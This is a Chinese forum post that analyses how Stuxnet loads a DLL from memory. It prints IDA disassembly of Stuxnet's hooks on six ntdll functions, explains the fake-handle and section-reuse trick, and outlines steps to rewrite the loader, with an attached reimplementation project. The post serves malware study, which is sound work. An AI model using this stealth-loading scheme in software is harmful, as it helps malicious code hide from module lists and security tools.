欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]A了Stuxnet的加载DLL代码--从内存中加载某个DLL

[原创]A了Stuxnet的加载DLL代码--从内存中加载某个DLL

Stuxnet出来很久很久了,之前看过分析文档,觉得它的加载DLL的方式比较有意思,一直没有时间来整,近段时间比较空闲,于是就有了这篇文章
首先,Stuxnet加载DLL的方式,不是传统的PE LOADER,而是将一片内容重新映射,这样做的效果就是,映射过后,这个DLL没有出现在模块列表中,但是可以GetProcAddress获得DLL的导出函数,Stuxnet调用15号导出函数就是这么干的。
Stuxnet的做法如下:
HOOK了6个ntdll的函数,分别为:


ZwCreateSection

ZwClose

ZwMapViewOfSection

ZwOpenFile

ZwQueryAttributesFile

ZwQuerySection


这6个函数在LoadLibray执行中调用。
在分析6个HOOK函数时,首先要知道的是:
ZwCreateSection后MapViewOfFile,不ZwClose,直接UnMapViewOfFile,那么第二次Map的时候,返回的就是上次映射的内存,我觉得这就是Stuxnet这种调用方式的核心。
在调试Stuxnet过程中,依次对这几个函数下断点,可以发现LoadLibraryW有这样的执行顺序:
1.查找文件(ZwQueryAttributesFile)
2.打开文件(ZwOpenFile)
3.创建Section(ZwCreateSection)
4.填充某些信息(ZwQuerySection)
5.关闭文件(ZwClose)
6.映射内存(ZwMapViewOfSection)
7.关闭section(ZwClose)
HOOK上面这些函数,Stuxnet还准备了:一个假的文件句柄,一个没有Close的Section句柄,以及QuerySection需要的数据
Stuxnet HOOK写得不错,直接把一段Shellcode考到NTDLL中,统一了HOOK的入口,在入口中再判断,跳转到对应的HOOK流程,如下:

.text:10001B87 loc_10001B87:                 ; DATA XREF: sub_100017F5+108o

.text:10001B87                                         ; .text:off_10001AB2o

.text:10001B87                 pop     edx

.text:10001B88                 test    dl, dl

.text:10001B8A                 jz      short loc_10001BB1 ; ZwMapViewOfSection

.text:10001B8C                 dec     dl

.text:10001B8E                 jz      loc_10001C16    ; ZwCreateSection

.text:10001B94                 dec     dl

.text:10001B96                 jz      loc_10001C57    ; ZwOpenFile

.text:10001B9C                 dec     dl

.text:10001B9E                 jz      loc_10001CA2    ; ZwClose

.text:10001BA4                 dec     dl

.text:10001BA6                 jz      loc_10001CEC    ; ZwQueryAttributesFile

.text:10001BAC                 jmp     loc_10001D3D    ; ZwQuerySection


首先是 ZwQueryAttributesFile

.text:10001CF5                 push    eax

.text:10001CF6                 push    edx

.text:10001CF7                 push    edi

.text:10001CF8                 mov     edi, [esp+14h]

.text:10001CFC                 call    CompareName

.text:10001D01                 pop     edi

.text:10001D02                 pop     edx

.text:10001D03                 test    eax, eax

.text:10001D05                 jz      short loc_10001D1A

.text:10001D07                 pop     eax

.text:10001D08                 test    edx, edx

.text:10001D0A                 jz      short loc_10001D17

.text:10001D0C                 mov     edx, [esp+0Ch]

.text:10001D10                [COLOR="red"] mov     dword ptr [edx+20h], 80h[/COLOR]

.text:10001D17

.text:10001D17 loc_10001D17:                           ; CODE XREF: .text:10001D0Aj

.text:10001D17                 xor     eax, eax

.text:10001D19                 retn

.text:10001D1A ; ---------------------------------------------------------------------------

.text:10001D1A

.text:10001D1A loc_10001D1A:                           ; CODE XREF: .text:10001D05j

.text:10001D1A                 pop     eax

.text:10001D1B

.text:10001D1B loc_10001D1B:                           ; CODE XREF: .text:10001CF3j

.text:10001D1B                 push    edx

.text:10001D1C                 call    sub_10001DF1

.text:10001D21                 cmp     dword ptr [edx+4], 0

.text:10001D25                 jnz     short loc_10001D30

.text:10001D27                 pop     edx

.text:10001D28                 lea     edx, [esp+8]

.text:10001D2C                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND

.text:10001D2C                                         ; DS:SI -> counted CR-terminated command string

.text:10001D2E                 jmp     short locret_10001D3C

.text:10001D30 ; ---------------------------------------------------------------------------

.text:10001D30

.text:10001D30 loc_10001D30:                           ; CODE XREF: .text:10001D25j

.text:10001D30                 pop     edx

.text:10001D31                 lea     edx, [esp+8]

.text:10001D35                 call    large dword ptr fs:0C0h

.text:10001D3C

.text:10001D3C locret_10001D3C:                        ; CODE XREF: .text:10001D2Ej

.text:10001D3C                 retn


执行流程很明了,判断文件名,如果是的话,直接FileInformation->FileAttributes=0x80;
否则,调用int 2e,执行原来的流程
ZwOpenFile

.text:10001C60                 push    eax

.text:10001C61                 push    edi

.text:10001C62                 mov     edi, [esp+18h]

.text:10001C66                 call    CompareName

.text:10001C6B                 mov     edx, eax

.text:10001C6D                 pop     edi

.text:10001C6E                 pop     eax

.text:10001C6F                 test    edx, edx

.text:10001C71                 jz      short loc_10001C80

.text:10001C73                 mov     eax, [esp+8]

.text:10001C77                 mov     dword ptr [eax], 0AE1982AEh

.text:10001C7D                 xor     eax, eax

.text:10001C7F                 retn

.text:10001C80 ; ---------------------------------------------------------------------------

.text:10001C80

.text:10001C80 loc_10001C80:                           ; CODE XREF: .text:10001C5Ej

.text:10001C80                                         ; .text:10001C71j

.text:10001C80                 push    edx

.text:10001C81                 call    sub_10001DF1

.text:10001C86                 cmp     dword ptr [edx+4], 0

.text:10001C8A                 jnz     short loc_10001C95

.text:10001C8C                 pop     edx

.text:10001C8D                 lea     edx, [esp+8]

.text:10001C91                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND

.text:10001C91                                         ; DS:SI -> counted CR-terminated command string

.text:10001C93                 jmp     short locret_10001CA1

.text:10001C95 ; ---------------------------------------------------------------------------

.text:10001C95

.text:10001C95 loc_10001C95:                           ; CODE XREF: .text:10001C8Aj

.text:10001C95                 pop     edx

.text:10001C96                 lea     edx, [esp+8]

.text:10001C9A                 call    large dword ptr fs:0C0h

.text:10001CA1

.text:10001CA1 locret_10001CA1:                        ; CODE XREF: .text:10001C93j

.text:10001CA1                 retn

.text:10001CA2 ; ---------------------------------------------------------------------------

.text:10001CA2

.text:10001CA2 loc_10001CA2:                           ; CODE XREF: .text:10001B9Ej

.text:10001CA2                 [COLOR="Red"]cmp     dword ptr [esp+8], 0AE1982AEh[/COLOR]

.text:10001CAA                 jnz     short loc_10001CAF

.text:10001CAC                 xor     eax, eax

.text:10001CAE                 retn


同理,判断是否是要打开的文件,如果是,则返回假文件句柄
ZwCreateSection

.text:10001C16                 [COLOR="red"]cmp     dword ptr [esp+20h], 0AE1982AEh[/COLOR].text:10001C1E                 jnz     short loc_10001C35

.text:10001C20                 call    GetFakeData

.text:10001C25                 test    edx, edx

.text:10001C27                 jz      short loc_10001C35

.text:10001C29                 mov     edx, [edx+8]

.text:10001C2C                 mov     eax, [esp+8]

[COLOR="red"].text:10001C30                 mov     [eax], edx[/COLOR]

.text:10001C32                 xor     eax, eax

.text:10001C34                 retn

.text:10001C35 ; ---------------------------------------------------------------------------

.text:10001C35

.text:10001C35 loc_10001C35:                           ; CODE XREF: .text:10001C1Ej

.text:10001C35                                         ; .text:10001C27j

.text:10001C35                 push    edx

.text:10001C36                 call    sub_10001DF1

.text:10001C3B                 cmp     dword ptr [edx+4], 0

.text:10001C3F                 jnz     short loc_10001C4A

.text:10001C41                 pop     edx

.text:10001C42                 lea     edx, [esp+8]

.text:10001C46                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND

.text:10001C46                                         ; DS:SI -> counted CR-terminated command string

.text:10001C48                 jmp     short locret_10001C56

.text:10001C4A ; ---------------------------------------------------------------------------

.text:10001C4A

.text:10001C4A loc_10001C4A:                           ; CODE XREF: .text:10001C3Fj

.text:10001C4A                 pop     edx

.text:10001C4B                 lea     edx, [esp+8]

.text:10001C4F                 call    large dword ptr fs:0C0h

.text:10001C56

.text:10001C56 locret_10001C56:                        ; CODE XREF: .text:10001C48j

.text:10001C56                 retn


首先,判断文件句柄是不是假文件句柄,如果是的话,返回之前没有Close的Section句柄
ZwQuerySection

:10001D3D                 call    GetFakeData

.text:10001D42                 test    edx, edx

.text:10001D44                 push    edx

.text:10001D45                 jz      short loc_10001D8C

.text:10001D47                 mov     edx, [edx+8]

.text:10001D4A                 [COLOR="red"]cmp     edx, [esp+0Ch][/COLOR]

.text:10001D4E                 jnz     short loc_10001D8C

.text:10001D50                 cmp     dword ptr [esp+10h], 1

.text:10001D55                 jnz     short loc_10001D8C

[COLOR="red"].text:10001D57                 cmp     dword ptr [esp+18h], 30h

.text:10001D5C                 jl      short loc_10001D85[/COLOR]

.text:10001D5E                 pop     edx

.text:10001D5F                 push    ecx

.text:10001D60                 push    esi

.text:10001D61                 push    edi

[COLOR="red"].text:10001D62                 lea     esi, [edx+50h]

.text:10001D65                 mov     edi, [esp+1Ch]

.text:10001D69                 mov     ecx, 30h

.text:10001D6E                 rep movsb[/COLOR]

.text:10001D70                 pop     edi

.text:10001D71                 pop     esi

.text:10001D72                 pop     ecx

.text:10001D73                 mov     eax, [esp+18h]

.text:10001D77                 cmp     eax, 0

.text:10001D7A                 jz      short loc_10001D82

.text:10001D7C                 mov     dword ptr [eax], 30h

.text:10001D82

.text:10001D82 loc_10001D82:                           ; CODE XREF: .text:10001D7Aj

.text:10001D82                 xor     eax, eax

.text:10001D84                 retn

.text:10001D85 ; ---------------------------------------------------------------------------

.text:10001D85

.text:10001D85 loc_10001D85:                           ; CODE XREF: .text:10001D5Cj

.text:10001D85                 pop     edx

.text:10001D86                 [COLOR="red"]mov     eax, 0C000000Dh[/COLOR]

.text:10001D8B                 retn

.text:10001D8C loc_10001D8C:                           ; CODE XREF: .text:10001D45j

.text:10001D8C                                         ; .text:10001D4Ej ...

.text:10001D8C                 pop     edx

.text:10001D8D                 push    edx

.text:10001D8E                 call    sub_10001DF1

.text:10001D93                 cmp     dword ptr [edx+4], 0

.text:10001D97                 jnz     short loc_10001DA2

.text:10001D99                 pop     edx

.text:10001D9A                 lea     edx, [esp+8]

.text:10001D9E                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND

.text:10001D9E                                         ; DS:SI -> counted CR-terminated command string

.text:10001DA0                 jmp     short locret_10001DAE

.text:10001DA2 ; ---------------------------------------------------------------------------

.text:10001DA2

.text:10001DA2 loc_10001DA2:                           ; CODE XREF: .text:10001D97j

.text:10001DA2                 pop     edx

.text:10001DA3                 lea     edx, [esp+8]

.text:10001DA7                 call    large dword ptr fs:0C0h

.text:10001DAE

.text:10001DAE locret_10001DAE:                        ; CODE XREF: .text:10001DA0j

.text:10001DAE                 retn


判断Size是不是0x30,不是的话,返回0C000000Dh,如果section句柄是指定的句柄,是的话,将内存中的PE头相关信息复制到对应的参数
ZwMapViewOfSection

.text:10001BB1                 call    GetFakeData

.text:10001BB6                 test    edx, edx

.text:10001BB8                 jz      short loc_10001BCD

.text:10001BBA                 push    edx

.text:10001BBB                 mov     edx, [edx+8]

.text:10001BBE                 cmp     edx, [esp+0Ch]

.text:10001BC2                 jnz     short loc_10001BCC

[COLOR="red"].text:10001BC4                 mov     dword ptr [esp+30h], 40h[/COLOR]

.text:10001BCC

.text:10001BCC loc_10001BCC:                           ; CODE XREF: .text:10001BC2j

.text:10001BCC                 pop     edx

.text:10001BCD

.text:10001BCD loc_10001BCD:                           ; CODE XREF: .text:10001BB8j

.text:10001BCD                 push    edx

.text:10001BCE                 call    sub_10001DF1

.text:10001BD3                 cmp     dword ptr [edx+4], 0

.text:10001BD7                 jnz     short loc_10001BE2

.text:10001BD9                 pop     edx

.text:10001BDA                 lea     edx, [esp+8]

.text:10001BDE                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND

.text:10001BDE                                         ; DS:SI -> counted CR-terminated command string

.text:10001BE0                 jmp     short loc_10001BEE

.text:10001BE2 ; ---------------------------------------------------------------------------

.text:10001BE2

.text:10001BE2 loc_10001BE2:                           ; CODE XREF: .text:10001BD7j

.text:10001BE2                 pop     edx

.text:10001BE3                 lea     edx, [esp+8]

.text:10001BE7                 call    large dword ptr fs:0C0h

.text:10001BEE

.text:10001BEE loc_10001BEE:                           ; CODE XREF: .text:10001BE0j

.text:10001BEE                 test    eax, eax

.text:10001BF0                 jnz     short locret_10001C15

.text:10001BF2                 call    GetFakeData

.text:10001BF7                 test    edx, edx

.text:10001BF9                 jz      short loc_10001C13

.text:10001BFB                 mov     edx, [edx+8]

.text:10001BFE                 cmp     edx, [esp+8]

.text:10001C02                 jnz     short loc_10001C13

.text:10001C04                 mov     edx, [esp+10h]

.text:10001C08                 push    edx

.text:10001C09                 call    GetFakeData

.text:10001C0E                 mov     edx, [edx+0Ch]

[COLOR="red"].text:10001C11                 call    edx[/COLOR];Fix Relocation

.text:10001C13

.text:10001C13 loc_10001C13:                           ; CODE XREF: .text:10001BF9j

.text:10001C13                                         ; .text:10001C02j

.text:10001C13                 xor     eax, eax

.text:10001C15

.text:10001C15 locret_10001C15:                        ; CODE XREF: .text:10001BF0j

.text:10001C15                 retn


如果是指定section句柄,则修改内存属性为PAGE_EXECUTE_WRITECOPY,接着调用原来函数,再一次判断section句柄,如果匹配,则修正重定位表(测试的时候,忽略了重定位,结果各种加载不上。。。)
最后就是ZwClose

.text:10001CA2                [COLOR="red"] cmp     dword ptr [esp+8], 0AE1982AEh[/COLOR].text:10001CAA                 jnz     short loc_10001CAF

.text:10001CAC                 xor     eax, eax

.text:10001CAE                 retn

.text:10001CAF ; ---------------------------------------------------------------------------

.text:10001CAF

.text:10001CAF loc_10001CAF:                           ; CODE XREF: .text:10001CAAj

.text:10001CAF                 call    GetFakeData

.text:10001CB4                 test    edx, edx

.text:10001CB6                 jz      short loc_10001CCA

.text:10001CB8                 push    eax

.text:10001CB9                 mov     eax, [esp+0Ch]

.text:10001CBD                [COLOR="red"] cmp     [edx+8], eax[/COLOR].text:10001CC0                 jnz     short loc_10001CC9

.text:10001CC2                 mov     dword ptr [edx+8], 0

.text:10001CC9

.text:10001CC9 loc_10001CC9:                           ; CODE XREF: .text:10001CC0j

.text:10001CC9                 pop     eax

.text:10001CCA

.text:10001CCA loc_10001CCA:                           ; CODE XREF: .text:10001CB6j

.text:10001CCA                 push    edx

.text:10001CCB                 call    sub_10001DF1

.text:10001CD0                 cmp     dword ptr [edx+4], 0

.text:10001CD4                 jnz     short loc_10001CDF

.text:10001CD6                 pop     edx

.text:10001CD7                 lea     edx, [esp+8]

.text:10001CDB                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND

.text:10001CDB                                         ; DS:SI -> counted CR-terminated command string

.text:10001CDD                 jmp     short locret_10001CEB

.text:10001CDF ; ---------------------------------------------------------------------------

.text:10001CDF

.text:10001CDF loc_10001CDF:                           ; CODE XREF: .text:10001CD4j

.text:10001CDF                 pop     edx

.text:10001CE0                 lea     edx, [esp+8]

.text:10001CE4                 call    large dword ptr fs:0C0h

.text:10001CEB

.text:10001CEB locret_10001CEB:                        ; CODE XREF: .text:10001CDDj

.text:10001CEB                 retn


判断是不是文件句柄,如果是的话,直接返回SUCCESS,判断是不是section句柄,如果是的话,将保存的句柄赋0值,然后调用原来的函数关闭
以上就是HOOK的分析过程,重写的思路可以简化为:
1.将某个DLL文件读到内存中,然后按照内存对齐,映射为某片内存,然后反映射。
2.HOOK 上面6个函数
3.调用LoadLibraryW,参数为一个硬盘中不存在的文件
在重写过程中,我仿造Stuxnet这种统一HOOK入口的方式,碰到一个蛋疼的问题,读取参数读取错误,导致堆栈混乱,为了解决这个问题,我给每个函数都加了一个参数,详细见代码。。
附件就是一个实例工程和Stuxnet的IDB,代码很粗糙,已知不足如下:
1.UNICODESTRING的比较,我直接写死了
2.修复重定位表时,只考虑了IMAGE_REL_BASED_HIGHLOW
还有N多BUG,等着各路神人拍砖了
最后,这种调用方式,在最后一步调用LoadLibrayW的时候,不能加路径,只能文件名!加路径的话就OVER了!
我不知道之前是否有牛人分析过,此贴意在抛钻引玉,欢迎拍砖。

上传的附件 MyLoadLibrary.rar

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功